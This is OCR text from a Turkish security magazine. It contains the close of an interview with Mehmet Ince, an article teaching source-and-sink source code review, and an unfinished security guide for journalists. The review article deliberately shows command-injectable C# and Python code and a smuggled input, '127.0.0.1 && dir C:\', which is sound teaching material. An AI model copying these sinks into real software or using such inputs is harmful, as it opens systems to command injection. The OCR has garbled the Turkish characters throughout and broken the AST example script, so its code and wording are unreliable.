jinin ‘tsini bilmeyen toplum niifusunun ytizde 90’ma bunu nasil
anlatacaksim? Sorun burada zaten. Eskiden koyuyordun videoyu,
demokrasi indi, insanlar 6ldii, demokrasi inmemeli. Simdi na-
sil gostereceksin? Ornegin, bir videoda size bir e-posta geldi, bu
stipheli falan, bu sekilde olmaz ki. Adam bunu tahayytil edemi-
yor. Insanoglunda bir de sey vardir tahayyiil edemedigi zaman
biinye kabul etmez bilgiyi. O yiizden oéncelikle o insana bunu
distindiirtmen ve altyapisini hazirlaman lazim. Bu yiizden 7.8
milyar niifusluk bir diinyada bunu gitgide daha da anlatamaya-
caksin. Bu arada benim insanlara anlatmak gibi bir derdim de
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yok. Biz daha akillica ¢bzmeliyiz, yani zincirin en zayif halkas:
insan ya o insani zincirden ¢ikarmaliyiz fakat onu yapamadigi-
miz i¢in, o zaman o zayif halka orada duracak ama sen onu daha
giivenli hale getirecek daha akilli seyler diisiineceksin. Ben boyle
bakiyorum o noktaya. Yani sonug olarak insani gelistiremiyoruz.
Bu ytizden biz bu zayiflig1 ortadan kaldirmaliyiz ¢iinkii teknoloji
cehaleti var ortada. O yiizden onlar1 gelistiremeyecegiz. O ada-
min yine Instagram’ hack’lenecek. Ne yaparsan yap 2FA'te yapsan
yine hack'lenecek. Yani bagka bir yerden uygulama indirmeyin
diye SMS’ler gonderiyorsun, Google Playden Candy Crush indi-
rirken mobil malware yiyor. Yani bu olacak. O yiizden insanlar
bir kenara birakip bu sorunlar1 bagka bir sekilde ¢ozmeliyiz ve
¢oztim Al degil onu da bastan séyleyeyim. :)

Yaklasik 15-16 yildir sektoriin i¢indesiniz. Bugiine kadar en
basarili buldugunuz hack vakasi ne oldu?

Stuxnet. Globaldeki en bagarili buldugum vaka odur. Yani go-
vernment motivasyonunun nelere kadir oldugunun en giizel 6r-
neklerinden bir tanesidir.

Bilinen ve en tehlikeli gordiigiiniiz zafiyet nedir?

Simdi bunu kategorilere bélmek gerekir aslinda. Bu da giizel bir
soru. Teknik anlamda goreceli bir sey bu. Yani bir banka i¢in en
biyiik korku, kasasindan para ¢tkmasi m1 yoksa miisteri bilgisi-
nin ifsas1 m1? Kasasindan ¢ikan paray1 insurancedan (sigortadan)
alabiliyor belki ama miisteri bilgisi ifsa olunca BDDK’ya 5 milyon
Dolar ceza 6deyecek, belki onu da geri alamayacak. Cok genel bir
soru bu yani fakat benim i¢in, sahsim adina sahip oldugum bir
uygulama olmadigi icin korktugum bir zafiyet yok. Bu arada olsa
da yok. Bir seyler yasanir ve sen buna engel olamazsin. Korkmaya
devam etmeye devam ettigin siirece o korku siirekli var olacag:
i¢in kasmaya gerek yok. Yani negatif bir sey yasandiginin saniye-
sinde benim tepkim “Evet, ne yapiyoruz? Nasil ¢oziiyoruz? Nasil
ilerliyoruz?” oldugu i¢in olaya ¢ok takili kalmayi sevmiyorum. O
yiizden o korkum da pek yok.

En sevdigim soru mesela, “Telefonunuzdaki tim fotograflar bil-
giler vesaire tamamen public olacak ya da 6 ay hapse gireceksin.
Hangisini tercih edersin mesela?”

Ben hapsi tercih ederdim ama gizledigim bir sey oldugundan de-
¢il, onu yagamay1 merak ediyorum. :) Tabii bu isin sakasi, fark
etmez public’i de tercih edebilirim.

Gectigimiz giinlerde Julian Assange vakasi tekrar giindeme
geldi. Birkag giin 6nce de tutukland1 Assange. Bu vaka hakkin-
da ne sdylemek istersiniz?

Ben o konuyu ilgingtir hi¢ yakindan takip etmedim ¢iinkii be-
nim hayatimda vaktimi alan bambagska hususlar var. O konuyla
ilgili de bir seyler olacag: belliydi ve oldu. Biz buna tepki gostere-
bilir miyiz? Evet ama ona gelene kadar tepki gosterilmesi gereken
bambagka hususlarin oldugu topraklardayiz. O ylizden burada
kiimiilatif ciddi sorunlar var ve hicbirini Mehmet Ince tek bagina
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yapamayacag i¢in, hani Mehmet Ince bagka seyler ile ilgileniyor
yani hayatta. O ylizden ¢ok fazla yorumda bulunamayacagim
acikgasi. ;) Bunu samimiyetle séyliiyorum.

Ozel sektor, kamu ve goniillii topluluklar, siber giivenlik ala-
ninda bir seyler yapmali ve yapiyor da (yarismalar, kiimelen-
meler, kamplar vs.) sizce kime ne gorev diisiiyor, kim, neler
yapmalidir?

Bence niye insanlar kiimeleniyor, insanlar niye topluluk kuruyor?
Yani bir gorev diisityor mu? Bunlar1 sorgulamak lazim. §imdi ka-
munun ¢ok umrunda degil bence siber gtivenlik. Yillardir orada
bagka bir sistem var donen, siber giivenlik ikinci planda kaliyor bir
sekilde. Yani devlet organizasyonumuz siber giivenlige hazir degil.
Diinyada buna hazir olan tilke olduguna da inanmryorum. Yani su
anda bir siire¢ yasanacak, zaman gosterecek her seyi. $u andaki tek
sorun var; o da insan kaynagi problemi. Herkes de bunu ¢6zmeye
caligtyor ya da bunu sebep gostererek marketing yapmaya caligi-
yor ama bir sekilde ¢ozmeye ¢alisiyorlar. Ben de 2005 yilindan beri Siber Casusluk Yintemleri ve Karsi Tedbirler
bunu ¢ézmeye caligtyorum insanlara bir seyler anlatmaya calisi-
yorum. Bu noktada kimlere ne gorev diisiiyor? Bence kamuya ve

.
devlete bir gorev diigmiiyor. Devletin yapmasi gereken; temel egiti-
mi diizgiin bir sekilde versin, insanlar kendi mesleklerini segsinler,
o alandaki teknik bilgi birikimleri ile kendileri gelistirsinler. Yani
insan da bir ¢aba gostersin diye diisiiniiyorum. Ekmek pis agzima
diis olduktan sonra higbir seyin kiymeti kalmiyor. 15 yildir son-

meyen siber giivenlik aski diye geyik yaptyoruz ama ben ¢ok ¢aba

sarf ettim bu isleri 6grenmeye basgladigimda. Bu yiizden kiymetli

benim i¢in. $imdi de internette milyarlarca bilgi var hani devle-

tin bu konuda bir sey yapmasina gerek oldugunu diisinmiiyorum. 5
Universite egitimleri diizgiin olsun yeter. Miihendislik insana ne Murat $|$MAN
oretir yani ya da iniversite okumak insana ne 6gretir? Universite
okumak insana bir hafta 8 tane derse hazirlanmani yani multi-pro-
cess'ingi 6gretiyor. Bu da siber giivenlik icin en ¢ok isine yarayacak
konu. Insanlar bunu égrenmeli Giniversitede. Yoksa iiniversitenin
genelde insana kattig1 sey teknik degildir, olmamalidir. Ayda 500
lira ile geginebilmeyi 6gretir. Bunlar: 6grendikten sonra siber gii-
venlige daha dogru bir framework ile gelirsin diye diistiniiyorum.

Son sorumuz: Bu isler diin mii zordu, bugiin mii daha zor, ne-
den?

Bence her ikisi de zor ¢linkii zamaninda yeterince kaynak yoktu,
o yiizden zordu. $imdi de insani bolecek o kadar ¢ok sey var ki
mesela Instagram’in bir kesfet boliimiine giriyorsunuz, 35 dakika
orada kalabiliyorsunuz ya da Youtube mesela bir siirii igerik var,
odaklanmay1 giiglestiren. O yiizden benim arkadaslara énerim,
odaklarini bir noktada tutmalaridir. Yoksa hayati da kagiriyoruz.
Ayrica dijital diinyada bize empoze edilen algilar, ilgililer bunlar
bana ¢ok siirreal geliyor.

Sorularimiz bu kadardi, bunlarin haricinde sizin sormak,
soylemek istedikleriniz varsa onlari rica edelim.

Y —
Bence bir¢ok seyi konustuk. Vakit ayirip bu isi yaptigimiz igin de a b a k u s
ok tesekkiir ediyorum.

Ilgi ve katkilarindan dolayi, Mehmet Ince’ye tesekkiir ederiz.
_
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n Kaynak Kod

Denetimi Nasil Yapilir?

Merhabalar,

tivenli kaynak kod denetimi, yazilimlardaki zafiyetle-
Gri bulmak amaci ile yapilan giivenli yazilim gelistirme
yasam dongiisiindeki 6nemli adimlardan biridir. Dii-
zenli olarak gelistiriciler tarafindan ya da giivenlik uzmanlari
tarafindan kod gozden gecirme adi altinda yapilan bir islem-

dir. Aslinda, detayina girmeden 6nce bir yazilim giivenli hale
getirilirken hangi adimlardan geger kisaca bahsedelim.

Oncelikle, bir yazilimin gerekisinimleri oldugu gibi giivenlik
gereksinimlerinin de belirlenmesi gerektigini unutmamamiz
gerekir, bu sebeple, yazilim saglamasi gereken giivenlik gerek-
sinimlerini projeye gore veya genel olarak organizasyonun ta-
maminda kullanmak iizere belirlemek, yazmak ve uygulamak
gerekir.

Ikinci adim ise giivenli hale getirilmek istenen yazilimin teh-
dit modellemesinin yapilmasi gerekir. Burada da genellikle
uygulamanin birlikte ¢aligacag: servisler, kimlik dogrulama
yetkilendirme mekanizmalar: gibi giivenligi etkileyen konula-
rin ele alinarak incelenmesi lazim. Bu adimlar bagka yazilarin
konusu olmali, bu adimdan sonra da gelistirilmeye baslanan
kod iizerinde kaynak kod denetimlerinin periyodik olarak ya-
pilmast gerekir. Tabiki bazen bu siire¢ yanlis da olsa en sona
kalmakta ve tamamen yazilmis bitmis bir proje tizerinde de-
netim yapmak gerekebilir. Peki bu denetim nasil yapilir? Bu
denetim yapilirken ne tip araglar kullanilir ve nelere dikkat et-
mek gerekir. Once yontemleri ve kavramlari anlayalim, ardin-
dan da pratik bir kaynak kod denetimi nasil yapilmali bunu
bir 6rnek tizerinden gdstermeye ¢alisalim.

Oncelikle, kaynak kod denetimindeki kavramlar ile baglaya-
lim. Malum giivenlik saglamaya calisiyorsak, uygulamanin
belli kategorilerde belli zafiyetleri icerip icermedigini incele-
memiz gerekecek. Bu kategorilerin igerisinde en 6nemlisi de
hi¢ stiphe gotiirmez ki injection kategorisindeki zafiyetlerdir.
Bu kategoriye giren zafiyetler yazilimin igerisine kabul ettigi-
miz girdilerin nasil ve ne sekilde kabul edildigi ve bu girdilerin
hangi framework ve fonksiyonlarda kullanildigini denetlemek
olacaktir. Tabii ki sadece injection kategorisinde zafiyetler yok,
ayrica kriptografi, oturum yonetimi, kimlik dogrulama, yetki-
lendirme vs. gibi kategoriler de bulunmakta, ama biz 6ncelikle
isin alamet-i farikas: olan injection zafiyetleri ile baglayalim.

Once kavramlari tantyalim;

Source: Tlirk¢e'ye kaynak olarak cevirebilecegimiz bir kavram,
aslinda yazilima kabul ettigimiz girdinin geldigi yer olarak
ifade edebiliriz. Mesela uygulamamiza gelen istek icerisindeki
bir parametre aslinda bizim source olarak nitelendirecegimiz
yer olabilir. Ornek vermek gerekirse, URL icerisindeki Qu-
eryString, Header degerleri, Form datas1 bizim i¢in source
olarak kabul edilebilir. Bir de kod 6rnegi verelim. (Sar1 ile isa-
retli yerler girdinin yazilima geldigi degiskenler/Propertyler/
Fonksiyonlarin Return degerleri)

[C#]

string kullaniciAdi =Request.QueryString[“kul-
laniciAdi”];

[Python]

param request.form[ ‘suggestion’ ]

Sink: Sink, Ingilizcesi tabii ki, ama Tiirk¢e karsilig1 tam ola-
rak bir seyin battigr dokiildiigii yer, lavabo anlamlarina geliyor.
Kaynak kod denetim isinde bunun anlamu ise girdinin kabul
edildikten sonra zafiyeti olusturan fonksiyona geldigi yer. Yani
soyle ifade edelim, bazi fonksiyonlarimiz var ve bu fonksiyon-
lar igerisine zararl bir girdi geldiginde zafiyet olusmasina se-
bep oluyor. Bu da genelde bir fonksiyonun girdi kabul eden bir
argument nesnesi olabilir. Asagida, OS Command Injection
zafiyeti olusmasina sebep olan bir kod 6rnegi paylasarak Sink
kavramini pekistirelim;

[C#]

Process.Start (“ping.exe /C “ + parametre);
[Python]

subprocess.call (command, shell=True)

Buralara eger digaridan bir veri temizlenmeden (sanitization,
escape, encode vs.) gelirse saldirgan OS Command Injection
zafiyetini tetikleyebilir. Mesela C# i¢in disaridan “127.0.0.1
&& dir C:\” seklinde bir girdi gelmesi durumudan yazilim
localhost’a ping atar ve ayni zamanda da C directory’sini liste-
ler (arka planda). Tabii ki bu ¢ok sirin bir senaryo, gercekten
saldirgan bunu yapmayacaktir tahmin edersiniz.




Akis Analizi: Akis analizi, verinin yazilim igerisine sourcedan
kabul edildikten sonra degiskenler iizerinden ilerleyerek sink
arglimanina kadar ilerlemesinin takip edilmesi islemidir. Ne-
den buna ihtiyag var? Tabii ki tahmin edebileceginiz {izere
payload anlamini yitirmeden eger sink fonksiyonuna/lokas-
yonuna geldigi zaman saldirgan bu zafiyeti tetikleyebilecektir.
Yine birka¢ ornek vererek pekistirelim. Liitfen sar1 ile isaretli
yerlere dikkat edin; veri, bu degiskenler izerinden ilerleyerek
hedef noktasina ulagtyor. (Orneklerin makalede ¢ok basit ol-

mak zorunda oldugunu unutmayalim.)
[C#]

string ipAdresi = Request.Form[“ipAdres”];
string baskaBirDegisken = ipAdresi;

Process.Start (“cmd.exe”, “/C ping.exe Y +

baskaBirDegisken) ;

[Python]
param = request.form|[ ‘suggestion’]
command = ‘echo ' + param + ' >> ' 4+ ‘menu.txt’

subprocess.call (command, shell=True)

Tanimlar hakkinda iyi koti bir giris yaptiktan sonra kaynak
kod denetimini nasil yapacagimizi diistinmeye baglayalim.
Oncelikle sunu biliyoruz, zafiyetlerin kok sebepleri Sink lo-
kasyonlari yiiziinden meydana geliyor. Yazilim kiitiiphaneleri
ve frameworkleri kotiiye kullanima sebep olacak bazi nokta-
lar igeriyor ve bizim ilk amacimiz bu noktalar1 bulmak olmali.
Tersinden dustinelim, biitiin girdi noktalarini bulsak ve ora-
dan sink noktalarina erismeye caligsak?

Bu ¢ok zorlu bir yol olur, biitiin girdi noktalarindan basla-
yarak verilerin nerelere gittigine bakmak istersek isimiz ¢ok
uzar, ¢iinkii her girdi zafiyetli bir noktaya gitmiyor olabilir. Bu
yiizden ne yapmaliyiz, sink den baglayarak source’a doniis var
mi1 bunu incelemeliyiz. Bu sayede ¢ok daha hizli bir sekilde
denetimleri gergeklestirebiliriz. Peki sink fonksiyonlarina/
noktalarina nereden ulasabilir?

Bu ¢ok kolay degil, bu yiizden her zafiyet i¢in ayr1 ayr1 hangi
sink noktalar1 mevcut, bunu aragtirmamiz gerekiyor. Mesela
C# igin Process.Start fonksiyonunun biitiin overload metotla-
rina bakmamiz gerekir. Bazen ilk parametre sink olabilirken
bazen de ikinci, tigiincli parametreler zafiyete sebep olabil-
mekte. Bu denetimleri gerceklestirirken her bir zafiyet i¢in de-
netim yaptiginiz dilde internetten aragtirmalar yaparak sink
noktalarini bulabilirsiniz. Mesela C# i¢in 280den fazla zafi-
yet oldugunu disiiniirsek, biitiin sink noktalarini bulmak ve
onlar iizerinde akis analizini ger¢eklestirmek ¢ok zor olabilir.
Otomatize bir arag kullanarak bu islemi gerceklestirmek zo-
rundayi1z.
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Peki kendimiz denetimler de kullanmak i¢in en azindan sink
noktalarini bulmak i¢in kod yazamaz miyiz? Kendimize ait
scriptler olamaz mi1? Cevap, elbette bunu yapabiliriz!

Simdi Python i¢in sink noktalarini bulmamizi kolaylastiracak
bir script yazalim ve makalede konuyu kisa tutabilmek i¢in
yine OS Commanda Injection zafiyetini ele alalim.

Sink fonksiyonlarini bulmak i¢in bir AST(Abstract Syntax
Tree) parser kiitiiphanesine ihtiyacimiz var. (Aslinda boyle bir
riin yazmak isterseniz kendinizde kodu parse edip bir AST
yaratacak bir motor yazabilirsiniz.) AST Parserlarin ne oldu-
guna gelirsek, kod parse edildikten sonra aga¢ veri yapisinda
kodu ifade eden bir veri yapisi diyebiliriz. Kod iizerinde sor-
gulamalar yapabilmemize yarayan bu araglar ile istedigimiz
tipteki fonksiyonlari, attribute’leri bulabiliriz.

Python'un temel AST kiitiiphanesi “ast” isminde bir python
modili ve asagidaki adresten dokiimantasyonuna ulasabilir-
siniz.

https://docs.python.org/3/library/ast.html

Simdi 6rnek bir python kodu tizerinde pekistirelim.
[Python]

def foo(a, b=10):

return a + b
Simdi de bu kodun AST yapisin1 inceleyelim.

Gordugtimiiz gibi, bizim i¢in foo fonksiyonunun biitiin degis-
kenlerini return degerlerini dile ait attribute’lerle agac yapisi
seklinde ifade eden bir sema var 6ntimtizde.

v Module: {} 1key
v body: [] 1item
v 0: {} 1key
v FunctionDef: {} 4 keys
v args: {} 1key
v arguments: {} 4 keys
v args: [] 2items
v 0: {} 1key
v Name: {} 2 keys
ctx: "Param”
id: "a"
{ 1key
v Name: {} 2keys
ctx: "Param”
id: "b"
v defaults: [] 1 item
v 0: {} 1key
v Num: {} 1key
n: 10
kwarg: null
vararg: null
v body: [] 1item
v 0: {} 1key
v Return: {} 1 key
v value: {} 1key
v BinOp: {} 3 keys
» left: {} 1key

v 1:

op: "Add"
» right: {} 1key
decorator_list: [] 0 items
name: "foo"
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Bu agag yapisi iizerinde istedigimiz sorgulamalar: yaparak sink noktalarini, source noktalarini ve eger emek verirsek bir akis
analizi algoritmasi yazarak istedigimiz zafiyetleri bulabilir ve manuel inceleme ile dogrulayabiliriz!!!

Peki bu sorgulama islemini nasil gerceklestirecegiz. Bunun i¢in Python dékiimantasyonu bol bol okumali ve AST {izerindeki
attribute’lerin hangi Python class’lar1 ile ifade edildigini bulmamiz ve kullanmamiz gerekir.

Ben bir fonksiyon igerisindeki stringleri bulabilmek i¢in basit bir kod érnegini asagida paylastyorum;

[&] sast_python.py E3 ‘
1 from ast import parse, Call, walk, FunctionDef
2 import importlib
3 import inspect

4
5 mod = "hello"

mod = importlib.import module (mod)
p = parse(inspect.getsource (mod))

9 from ast import literal eval

e vals = [1]

12 Hfor node in p.body:

13 H if isinstance(node, FunctionDef):
14 H for node in walk{node):

15 H if isinstance (node,Call):
16 H try:

14 vals.append([literal_eval{val} for val in node.args])
18 break

AL e except:

20 print ("scmething™)

23 print (vals)

Simdi buradaki kodu agiklayalim;

o Ilk tig satirda ast veri yapisini kullanmamiza ve sorgulamamiza yarayacak olan kiitiiphaneleri import ediyoruz.
[lk satirdaki FunctionDef objesine dikkatinizi gekmek istiyorum. Bu obje sayesinde kod igerisindeki biitiin fonksiyon
tanimlarini aytklamamiza yarayacak bir nesneye sahip oluyoruz.

Beginci satirda analiz etmek istedigimiz hello.py dosyamizin ismini belirtiyoruz. Isterseniz biiyiik bir projede dosya islemleri
yaparak istediginiz .py uzantili dosyalar1 bulup bir foreach déngsii ile doniip siireci otomatize edebilirsiniz.

Yedinci satirda analiz etmek istedigimiz source dosyasinin inspection islemini baslatiyoruz. Artik elimizdeki p degiskeni
kaynak kodumuzun AST veri yapisindaki obje hali. Bu obje {izerinde istedigimiz sorgulamari yapabiliriz.

Nitekim 12’inci satirda baglattigimiz for dongiisii ile AST igerisindeki body nesnesinin igerisindeki objeleri dondiirmeye
basliyoruz.

o 13’lincli satirda gordiigiimiiz tizere eger dondiirdiigiimiiz objeler fonksiyon nesnesi tipine sahipse bu nesne iizerinde
WALK fonksiyonu ile diger nesneleri déndiirmeye bashyoruz. Eger CALL tipinde nesnelere denk gelirsek, (Bu nesneler
kod igerisinde bir fonksiyon invoke edildigini gosterir) bu yiirilyiis iizerinde, bu nesnelerin igerisindeki string literal
tipindeki nesnelere erigebiliyoruz. Bunlari da yazdirdigimizda (isterseniz satir numaralari ile birlikte) kaynak kod
tizerinde istedigimiz tipte istedigimiz sink noktalarini bulabiliriz. Bu sayede amacimiza ulagsmis olduk ve biitiin string’leri
yazdirabildik.

Son sozler:

Python dili iizerindeki giivenlik kaynak kod denetimine giris yaptigimiz bu yazi umarim faydali olur ve daha detayli arastir-
malar yapabilmenize yardimcr olur. Daha detayl: analizler yapabilmek icin AST kiitiiphanesini kullanarak denemeler yapin ve
kod igerisindeki kullanilan ifadelerin hangi class’larla ifade edildigini anlamaya calisin. Basta basit drneklerle ilerleyebileceniz
bu aragtirmalar, ileride belkide akis analizini de ekleyebilirseniz, tamamen otomatize bir arag haline de gelebilir ve size sadece
yazmis oldugunuz script’in iirettigi bulgular tizerinde false positive bulgular1 ayiklamak kalir.

Yazima gostermis oldugunuz ilgi i¢in ¢ok tesekkiir ederim.
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Gazeteciler icin
Sayisal Guvenlik

Diinya tehlikeli bir yer. Toplu tiirkirimlar, kiiresel iklim degi-
sikligi, ara sira yoriingede bulugulan meteorlar... Tim bunlar
gezegeni ve insanlid siirekli tehdit eden gerceklikler ama risk
oOyle diisiik ki giinlitk hayatimizdaki endiselerimizde neredey-
se hi¢ yer tutmuyor. Hayatimizda fazlasiyla endiselenmemi-
zi gerektiren bir tehlike daha var ki hepimiz siirekli ve ciddi
olarak riski ile yasiyoruz; sayisal gézetim ve veri giivenligine
iligkin riskler.

Bireylere ve topluma kars: 6rgiitlii hasimlar tarafinca siirekli
olarak ortaya koyulan bu tehlike ne yazik ki cogu insan i¢in
kaginilmasi imkansiz gibi gériinmekte. Tarih &gretilmis care-
sizligin getirdigi rahatliktan faydalanmis sayisiz kotii aktoriin
ornekleri ile dolu ve giiniimiiziin demokratik diizenlerinin en
onemli dayanag olan 6zgiir basin, yiikselen sayisal gozetim
araglarinin 15181nda korunmasi gereken ilk kurum.

Gazeteciler igleri geregi her zaman tehlike altinda olmus ve
korumalar1 gereken insanlar ile bilgiler icin yontemler gelis-
tirmislerdir. Hukukun ve toplum baskisinin korumasi altinda
analog zamanlarda gorece iyi islemis olan bu korunma imkani
bilgisayarlarin ve Internet’in hakim oldugu giiniimiizde agin-
maktadir. Sayisal gozetim; neredeyse goriinmez, siirekli ve asi-
r1 derecede isgalci olabilmektedir. Suudi gazeteci Kastk¢rnin'
talihsiz kaderinin bir kismi gelecegin nasil olacagina 11k tuta-
bilir. Bu sebeple gazeteciler gibi tehlike altindaki gruplarin ko-
runmast i¢in ¢okga arag gelistirilmis ve insanligin kullanimina
sunulmustur.

Simdi gerekgeleriyle birlikte 6nerilerimizi madde madde pay-
lagayacagiz.

1. Giivenligin Onciilii Disiplindir:

Sayet Rick Sanchez degilseniz, Diinya gezegenindeki hi¢bir sey
kargiliksiz degildir. Higbir sihirli degnek yoktur ki sizi ¢abasiz
ve miicadelesiz neredeyse sonsuz kaynaga sahip hasimlariniza
kars1 korusun. Bu sebeple, tehdit modelinizi ortaya koymali ve

1 https://en.wikipedia.org/wiki/Jamal Khashoggi

hazirliginizi buna gore yaparak kosulsuz sartsiz planlamaniza
bagli kalmaniz gereklidir ¢ilinkii giivenlik saglamak hem vakit
hem nakit bakimindan pahali bir is olabilir.

a. Olasi Tehlikeleri Degerlendirin:

Yasantinizi siirdiiriirken, mesleginize ve korudugunuz bilgile-
re kars1 olas1 tehlikeleri degerlendirip listeleyin. Bu evinizin ve
isyerinizin kapisinin dayaniklilig: gibi fiziksel 6zellikler veya
kullandiginiz cihaz ile sistemlerin giivenilirligi olabilecegi gibi
aliskanliklariniz veya baglhiliklariniz gibi aleyhinize kullanila-
bilecek manevi unsurlar da olabilir. Tehlikeleri belirlemek size
saldir1 yiizey alaninin ve araglarimin tespitini ve farkindalik
saglar.

b. Riskleri Degerlendirin:

Risk bir tehlikenin gerceklesme olasiligidir. Insanlar olarak
hayatimizdaki her tiirlii tehlikeye kars: tedbir almayiz; mesela
Diinya’ya meteor ¢arpmast gibi. Olast gordiigtimiiz ve azaltila-
bilecek riskteki tehlikeler bizim ilgi alanimizdadir. Bu sebeple
kisisel ve isiniz sebebi ile sizi hedef haline getirebilecek un-
surlarin, size tehlike yaratma riskini diisiiniin. “Bilgisayariniz
icin kaybolmast mi daha yiiksek bir ihtimal yoksa siyahlara bii-
riinmiis bir grup insanin gelip evinizden onu ¢almasi mi?” gibi
sorular giivenlik endise ve gabaniz1 gerceklikle esitleyecektir.
Her gazeteci ulus devletlerin orgiitlii giiciiniin hedefi olmaya-
bilir ama telefonunuzu elinizden alan bir kisinin tiim bilgileri
okuyabilmesi neredeyse herkes icin var olan riski ytiksek bir
tehlikedir.

c. En Yiiksek Risk Seviyesinden Baslayarak Tedbir Alin:

Tehlikelerinizi ve risklerini hesapladiktan sonra tedbirlerinizi
almaya baslayabilirsiniz. Bir tehlikeye kars1 birden fazla 6nlem
olabilir. Mesela hesaplarinizin parolalarini essiz iiretip parola
yoneticisinde saklamak ile ¢ok asamali yetkilendirme (2FA)
kullanmak gibi. En ucuz yontemden baslayarak sira ile tiim
tehlikelere kars1 6nleminizi almaya baslayin ve bu durumdan
taviz vermeyin. Unutmayin ki alacaginiz neredeyse her ted-
birin birincil dayanag: sizsiniz ve ne yazik ki tiim operasyo-
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nel gtivenligin en zayif halkasi da insan olarak sizsiniz. Sosyal
mithendislik? veya bir anlik dalginlk ile bir gelismeyi hafife
almaniz sizi ve size glivenen herkesi tehlikeye atabilir.

2. Giivenlik Zincirini Takip edin:

Sayisal takip sistemlerine kars1 bilgi glivenligi bir zincir ola-
rak kullanicidan yani sizden baslar. Sonra cihaziniza geger.
Ardindan baglandiginiz ag1 ve kullandiginiz hizmeti takip
eder. Ayni sira ile iletisime gectiginiz kisiye dogru uzanir. Bu
bakimdan giivenliginiz bu zincirin en zayif halkasi kadar kuv-
vetli olacaktir.

a. Beseri Giivenlik:

Kendinizi ve cihazlarimz fiziki olarak korumaniz ve giiven-
lik disiplininizi bozmamaniz ¢ok 6nemlidir. Bu, baginda degil
iken her halde ekran kilidini devreye almanizi gerektirdigi gibi
kullandiginiz parolalar: giivenilir sekilde tiretmeniz ve sakla-
maniz da bu kosul i¢in elzemdir.

i. Diceware?, Parola Yoneticisi ve 2FA

ii. Gergekten giivenli parolalar tamamen rastgele ve karisik-
lardir. Ayni zamanda insanlarin hatirlamasi icin de o derece
zordurlar’. Bu sebepten ayni derecede rastgele ama hatirlan-
masi ve haliyle bir yerlere yazilmasi gerekmeyecek parolalara
ihtiya¢ duyulur. Diceware 7776 tane kelime ve benzetmeden
olusan ve gercekten fiziki zarlar kullanarak parolanizi olustur-
dugunuz bir parola liretim yontemidir. Bu yontemle {iretilmis
7 kelimelik bir parolanin tahmin edilmesi i¢cin 77767 olasilik
vardir. Bilgisayarlar i¢in zor ama insanlarin hatirlamasi i¢in
kolay! Bu parola ile bir parola yoneticisi yardimi ile kullan-
diginiz her hesaba egsiz ve korkung zorlukta parolalar atayn.
Bunun i¢in 6zgiir, Keepass® veya Pass® kullanabilirsiniz.

Parola politikanizi cihazin kullanim kogullarina gore diizenle-
yin. Masaiistii ve diziistii bilgisayariniz gibi sifreleme ve ekran
parolalarini daha kontrollii ortamlarda kullandiginiz cihazla-
rinizin parolasini ¢ok siklikla degistirmeniz gerekmeyebilir.
Cep telefonunuz gibi mobil cihazlar ¢ogunlukla ¢oke¢a goziin
ve kameranin bulundugu ortamlarda kullanildigindan parola-
larin daha sik aralikla tamamen rastgele sekilde degistirilmesi
onerilir. Herhangi bir durumda stipheye diiserseniz parolaniz
i¢in tereddiit etmeden degistirmeniz gereklidir.

Parola giivenligi yani sira ¢ok agamali yetkilendirme (2FA) su-
nan tiim hesap ve cihazlarinizda bu imkani degerlendirmeniz
onerilir. 2FA hesaplariniza, bildiginiz bir sey (parola) ve sahip
oldugunuz bir sey (telefonunuz) ile erisebilmeniz anlamina ge-

2_https://en.wikipedia.org/wiki/Social engineering %28security%29
3 http://world.std.com/~reinhold/diceware.html

4 https://www.olaganparanoya.com/hesaplarinizi-dogru-parola-ile-koruyun/

5 https://keepass.info/

6_https://www.passwordstore.org/

lir. Bu sayede bir saldirganin amacina ulagabilmek i¢in birden
fazla farkli etmene ulagsmasi gerekir. Tercihen FreeOTP gibi
oOzgiir bir yazilim aracilig1 ile cihazinizda iiretilecek bir kod ile
bu sistemi kullanmanizdir ama bu imkanin sunulmadig; hiz-
metlerde SMS ile ikinci asamanin sunulmast hig yoktan iyidir.

iii. Parolalarin Girislerinin Gizlenmesi:

Parolalar, bilgi giivenliginizin en temel parcasidir. Bu bilginin
kullanilmasi, gozetleme ortamlarina da maruz kalmas1 demek
oldugundan stirekli bir tehlikedir. Bu tehlikenin riskini diistir-
mek icin parolalarinizi girdiginiz ekranlarin ve klavyenizin
bagkalar: tarafindan ve kameralar tarafindan goriilemeyece-
ginden emin olmaniz gereklidir. Bu sebeple, bilgisayarlarinizi
kullandigimiz yerleri iyi se¢meniz ve telefonlarmizda parola
girerken ekrani elinizle kapatmaniz siddetle onerilir (bkz: Ed-
ward Snowden”).

Benzer sekilde ekraninizi da istenmeyen izleyicilerden koru-
maniz gerekli. Bunun i¢in ekraninizin goriiniilebilirlik agisini
diisiiren filmlerden almaniz ve telefon ile bilgisayar gibi kritik
cihazlarinizda kullanmaniz énerilir.®

iv. Iletisiminizi Hep Siiphe ile Siirdiiriin:

Size gonderilen mesajlarin igerigine ve gonderinine asla se-
bepsiz yere glivenmeyin. Bir sisteme sizmanin en kolay yolu-
nun insandan gectigi bilinen pek ¢ok saldir1 bu sekilde basarili
olmustur. E-postanin génderen kismi kolaylikla taklit edilebil-
diginden bir kisiyi dogrulamak kolay degildir. Benzer sekilde
sifreli anlik yazigma yazilimlariin bagh oldugu olas: kotiiciil
sunucular dogrulanmadig: takdirde taraflara sahte sifreleme
anahtarlar1 sunarak iletisimi takip edebilir’. Her halde sifreli
veya degil insanlarin size gonderdigi baglant1 veya diger ek-
lentilere oltalama'® ve kotiiciil yazilim tehlikesine kars1 sagdu-
yu ile yaklagin.

v. Kimliklerinizi Ayirin:

Is ve 6zel hayatiniz1 mutlaka ayirin. Bunun igin tehdit mode-
liniz gerektiriyorsa en u¢ noktada farkli cihazlar kullanmay1
tercih edebilir, sosyal medya ve e-posta hesaplarinizi ayri tu-
tabilirsiniz. Bu sayede, hem olasi ihlaller durumunda zarari
yalitmis olursunuz hem de kullanim sirasinda kimliginizi ifsa
etmek durumunda kalmazsiniz.

vi. Cihazlarimz1 Géziiniiziin Oniinden Ayirmayin:

Cihazlariniza fiziksel erisim saglamak bir saldirgan i¢in elve-
rigli bir ortam yaratir. Hem cihazinizi agik iken bulma imkani-

7 https://security.stackexchange.com/questions/82362/in-citizenfour-what-was-
edward-snowden-mitigating-with-a-head-blanket

8 https://duckduckgo.com/?g=privacy+film+screen&t=ffab&ia=web

9 https://www.zdnet.com/article/dutch-police-snoop-on-criminal-chats-by-

intercepting-encryption-server/

10https://en.wikipedia.org/wiki/Phishing




na erisir hem de cihazinizda size gériinmeyecek degisiklikler
yapmasi muhtemel olur. Bu anlamda agik bilgisayardan Cold
